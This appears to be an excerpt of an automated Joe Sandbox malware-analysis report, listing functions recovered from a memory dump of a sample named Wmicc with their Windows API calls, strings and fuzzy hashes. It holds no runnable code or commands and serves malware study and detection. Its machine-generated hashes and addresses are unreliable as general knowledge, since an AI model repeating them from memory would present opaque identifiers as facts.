Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu
String ID:
API String ID: 2596413745-3916222277
Opcode ID: fde93caed3268f46297882632f0cbc499954648eefc1c7adb6901f3eddef6a57
Instruction ID: e9ffb1a827868e147aab39be62df91c02a7d6b37eaa97f7395092dd71f1a090a
Opcode Fuzzy Hash: fde93caed3268f46297882632f0cbc499954648eefc1c7adb6901f3eddef6a57
Instruction Fuzzy Hash: 50212876E00218AFDB10CB79DC85BEEBBB5EB44704F044166E905EB282D7749A488B90

Function 0040D29B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00577E20), ref: 0040D2C1
InterlockedDecrement.KERNEL32(00577E20), ref: 0040D2D6

Strings

~W, xrefs: 0040D2BA

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementIncrement
String ID: ~W
API String ID: 2172605799-2210336733
Opcode ID: b02ef4221bba3963825fd3889dd54fa40e24b18d1951b3ba38c96a57f027da8d
Instruction ID: aca66f6b2035520a77fde7aa127b0231f059c8ed8503adb6cfb69d2cfc0fdb08
Opcode Fuzzy Hash: b02ef4221bba3963825fd3889dd54fa40e24b18d1951b3ba38c96a57f027da8d
Instruction Fuzzy Hash: BEF0C272904312ABE710ABD6BCC2D8BA798EF94715F10443FF900A51D0CB789DC9AA5E

Function 0040D3D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00577E20), ref: 0040D3FB
InterlockedDecrement.KERNEL32(00577E20), ref: 0040D410

Strings

~W, xrefs: 0040D3F4

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementIncrement
String ID: ~W
API String ID: 2172605799-2210336733
Opcode ID: 8d9b4162cd60a1efa86e2151b4230735747d4a3758c32ae08cafea17711b5711
Instruction ID: 2f8d3555035d896e618952c4f7aa3fb280104262e4351c72318fbdcc7622e3c0
Opcode Fuzzy Hash: 8d9b4162cd60a1efa86e2151b4230735747d4a3758c32ae08cafea17711b5711
Instruction Fuzzy Hash: 8EF0C8329042155BD210AF9ABCC1D8FA798EB94315F10843FF504A51D1C7B4ADC9A95E

Function 004139BB Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00577E20), ref: 004139C7
InterlockedDecrement.KERNEL32(00577E20), ref: 004139DE

Part of subcall function 00411402: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00413216,00000009,00000000,00000000,00000001,0040F007,00000001,00000074,?,?,00000000,00000001), ref: 0041143F
Part of subcall function 00411402: EnterCriticalSection.KERNEL32(?,?,?,00413216,00000009,00000000,00000000,00000001,0040F007,00000001,00000074,?,?,00000000,00000001), ref: 0041145A

InterlockedDecrement.KERNEL32(00577E20), ref: 00413A0A

Strings

~W, xrefs: 004139C0

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalDecrementSection$EnterIncrementInitialize
String ID: ~W
API String ID: 2038102319-2210336733
Opcode ID: 8708ff4452646348f8dac2694cdc1c7c99166416f2bd11e046f2908e67d05aaf
Instruction ID: 6d2d16e25463da4b040c56d6155fa02380a662f44442d804c55e8b2ca71b5c52
Opcode Fuzzy Hash: 8708ff4452646348f8dac2694cdc1c7c99166416f2bd11e046f2908e67d05aaf
Instruction Fuzzy Hash: 84F0B4361052197EEB006F96BC41DCB7B58DF44775F10803BF908591918AB55EC29AA8

Function 0041A549 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 0041A55A
GetClassNameA.USER32(00000000,?,0000000A), ref: 0041A575
lstrcmpiA.KERNEL32(?,combobox), ref: 0041A584

Strings

combobox, xrefs: 0041A57E

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: ClassLongNameWindowlstrcmpi
String ID: combobox
API String ID: 2054663530-2240613097
Opcode ID: 3ba7b1d938bfcbc11c7426b4623ca191ae96f8af541773f8683db0ad9811957c
Instruction ID: 3de6065d44bc74fd3bd2d8a8b49e11c13ce7a689137577fc867fc89a4e323011
Opcode Fuzzy Hash: 3ba7b1d938bfcbc11c7426b4623ca191ae96f8af541773f8683db0ad9811957c
Instruction Fuzzy Hash: 0DE06535694208BBCF119F61CC4AED9776CA710341F108522B826D51A0D774D695CA5A

Function 004075C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00408866,00000008,004FC710,0040474A,00000001,00000000,00000000,80000301), ref: 004075C9
HeapAlloc.KERNEL32(00690000,00000008,80000301,00000000,00408866,00000008,004FC710,0040474A,00000001,00000000,00000000,80000301), ref: 004075DD
MessageBoxA.USER32(00000000,00562A88,error,00000010), ref: 004075F6

Strings

error, xrefs: 004075EB

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Heap$AllocMessageProcess
String ID: error
API String ID: 445856604-1574812785
Opcode ID: 6583e7016cccfb38c49c0dc0010979ed8bfedd2d4821384e4af21fd808cbfc21
Instruction ID: 620fa5d5e69247f0b31446cbc5a86fe2131c6e2742e3d64c0d3bc5d41d7a6661
Opcode Fuzzy Hash: 6583e7016cccfb38c49c0dc0010979ed8bfedd2d4821384e4af21fd808cbfc21
Instruction Fuzzy Hash: DCE0D8B5E446117BD63497B6FC09F873B98AB24751F008135FC02E3291EAF5BC008BAA

Function 00407610 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(0040873D,00000001,00000000), ref: 00407619
HeapAlloc.KERNEL32(00690000,00000000,00000000,004FC710,0040873D,00000001,00000000), ref: 0040762D
MessageBoxA.USER32(00000000,00562A88,error,00000010), ref: 00407646

Strings

error, xrefs: 0040763B

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Heap$AllocMessageProcess
String ID: error
API String ID: 445856604-1574812785
Opcode ID: 821e21b328ed450d2f0f2f0585cfa56a845bb5c2b9ccbcf1bc0938f2da829bba
Instruction ID: c35de8636c92bf5499b14ca2156188c634a31e463c266b4794f4c27727326782
Opcode Fuzzy Hash: 821e21b328ed450d2f0f2f0585cfa56a845bb5c2b9ccbcf1bc0938f2da829bba
Instruction Fuzzy Hash: D5E0D8B5E40A117BD72497BAFC0DB873B98AB24750F008535F902E3291D6F5BC008B6A

Function 0040FD76 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040C229), ref: 0040FD7B
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040FD8B

Strings

IsProcessorFeaturePresent, xrefs: 0040FD85
KERNEL32, xrefs: 0040FD76

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 60562249e3caff238784babbd82c356b89a2cb1f2b10c6e69669152acf10d0b4
Instruction ID: 0da0be1d9540f816f36eb8da8f5708e18704ec6f52367c483f61ba1d2bc05d98
Opcode Fuzzy Hash: 60562249e3caff238784babbd82c356b89a2cb1f2b10c6e69669152acf10d0b4
Instruction Fuzzy Hash: E9C00275389321A6EA301BF26C0DB5625986F60B42F544876B90BE19D1DA7CC405952E

Function 0040C677 Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6198d78348703f19cefd3f3094fa371ade7194fd0c2bb6693258fb7c6e1b57df
Instruction ID: e213600a91bb2c15ef028acfb7b4f7952cbf94381183c3700a25a1cd7caf04d1
Opcode Fuzzy Hash: 6198d78348703f19cefd3f3094fa371ade7194fd0c2bb6693258fb7c6e1b57df
Instruction Fuzzy Hash: DE91C7B2D00114EADF21AB699CC4ADE7BB8EB08764F204637F854B62D1D7394D80DB6C

Function 00412C02 Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,00000000,00000000,00000001,?,?), ref: 00412CC9

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d8246b3a7326f96888e89a329b42308956838a4a11005a457b3e9f7cb85bd064
Instruction ID: c07bd408cff6f398351c912b1c4bd488e02315b4692cd6456adfa4f9091af92a
Opcode Fuzzy Hash: d8246b3a7326f96888e89a329b42308956838a4a11005a457b3e9f7cb85bd064
Instruction Fuzzy Hash: 3251C431900208EFCB11CF69DA84ADE7BB0FF45340F20856AE915DB261D7B4DAA1CB99

Function 0040C07C Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0040C0A2

Part of subcall function 0040F1BE: HeapCreate.KERNELBASE(00000000,00001000,00000000,0040C0DA,00000001), ref: 0040F1CF
Part of subcall function 0040F1BE: HeapDestroy.KERNEL32 ref: 0040F20E

GetCommandLineA.KERNEL32 ref: 0040C102
GetStartupInfoA.KERNEL32(?), ref: 0040C12D
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040C150

Part of subcall function 0040C1A9: ExitProcess.KERNEL32 ref: 0040C1C6

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 5742edca9cc2bcb47117a6805b51eac358ee7a02b75ba34d20792cc4ac990240
Instruction ID: 9e14c90976f1bdde651b1607f8f9bfea8602528170662b2a0ead5ecefb935491
Opcode Fuzzy Hash: 5742edca9cc2bcb47117a6805b51eac358ee7a02b75ba34d20792cc4ac990240
Instruction Fuzzy Hash: 9021A2B1940705EEEB04AFB6EC45AAD7BA9AF58704F10493FF805AA2D1DB3C4480DB58

Function 00407920 Relevance: 6.1, APIs: 4, Instructions: 61fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000020,00000000,00000000,00000000,80000005), ref: 00407938
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,004FC710,?,0000026C), ref: 00407977
CloseHandle.KERNEL32(00000000,?,0000026C), ref: 0040798A
CloseHandle.KERNEL32(00000000,004FC710,?,0000026C), ref: 004079A5

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateWrite
String ID:
API String ID: 3602564925-0
Opcode ID: e48ade2dc4913014af217cae2b277996b009eaa096b503b24140033ea6c6a915
Instruction ID: a4d51b8884878c691db76e831e0c512930f858c9f979ce5ae898d22ad007e894
Opcode Fuzzy Hash: e48ade2dc4913014af217cae2b277996b009eaa096b503b24140033ea6c6a915
Instruction Fuzzy Hash: 19118275604301ABE710DF18EC85FABB7E4FB89724F154929F994A72C0D3B4F809876A

Function 004183A0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 004183AB
GetTopWindow.USER32(00000000), ref: 004183BE
GetTopWindow.USER32(?), ref: 004183EE
GetWindow.USER32(00000000,00000002), ref: 00418409

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: aad46be4269a1ac68c7628a389bd9b506d368bdd50a195c64cc046f08176180d
Instruction ID: 80c17928dd1aed3f13542472adc26f16ce3e23dae5e0febf20d28f3047d59188
Opcode Fuzzy Hash: aad46be4269a1ac68c7628a389bd9b506d368bdd50a195c64cc046f08176180d
Instruction Fuzzy Hash: 70018F3610122AA7DF222B629C00EDF7B58AF04B54F09803AFD2491211EF3AD99196AD

Function 00418419 Relevance: 6.0, APIs: 4, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetTopWindow.USER32(?), ref: 00418427
SendMessageA.USER32(00000000,?,?,?), ref: 0041845D
GetTopWindow.USER32(00000000), ref: 0041846A
GetWindow.USER32(00000000,00000002), ref: 00418488

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$MessageSend
String ID:
API String ID: 1496643700-0
Opcode ID: 9c7000c868bbab83e6c6ae453527cf2ed5b7392688ec93178a228d6aa52ef3f4
Instruction ID: 4a453383c33d387f0cf704cf153f02ae3ac56e5e35b92c1ab8b6b3cab473380f
Opcode Fuzzy Hash: 9c7000c868bbab83e6c6ae453527cf2ed5b7392688ec93178a228d6aa52ef3f4
Instruction Fuzzy Hash: BA01003600011ABBCF125F95DC04EDF3B2AAF49354F05801AFE1055121DF3ACAB1EBA9

Function 004161B1 Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 004161D9
GetFocus.USER32 ref: 004161EC
GetParent.USER32(?), ref: 004161FA
GetNextDlgTabItem.USER32(?,?,00000000), ref: 00416216

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Item$EnableFocusMenuNextParent
String ID:
API String ID: 988757621-0
Opcode ID: bec229635919d09159c6ce4df6c82ebc158899467240ba0bee144b4d981a4979
Instruction ID: 3d16c6ac085ce84901914c80c72efa26939de2e839fa173727febb2f449487bc
Opcode Fuzzy Hash: bec229635919d09159c6ce4df6c82ebc158899467240ba0bee144b4d981a4979
Instruction Fuzzy Hash: B811C8716006009FCB38AF61DC19F97B7B5EF40315F118A5EF542471A0CB38E881CB59

Function 0041AFF3 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 0041B01F
RegCloseKey.ADVAPI32(00000000,?,?), ref: 0041B028
wsprintfA.USER32 ref: 0041B044
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 0041B05D

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
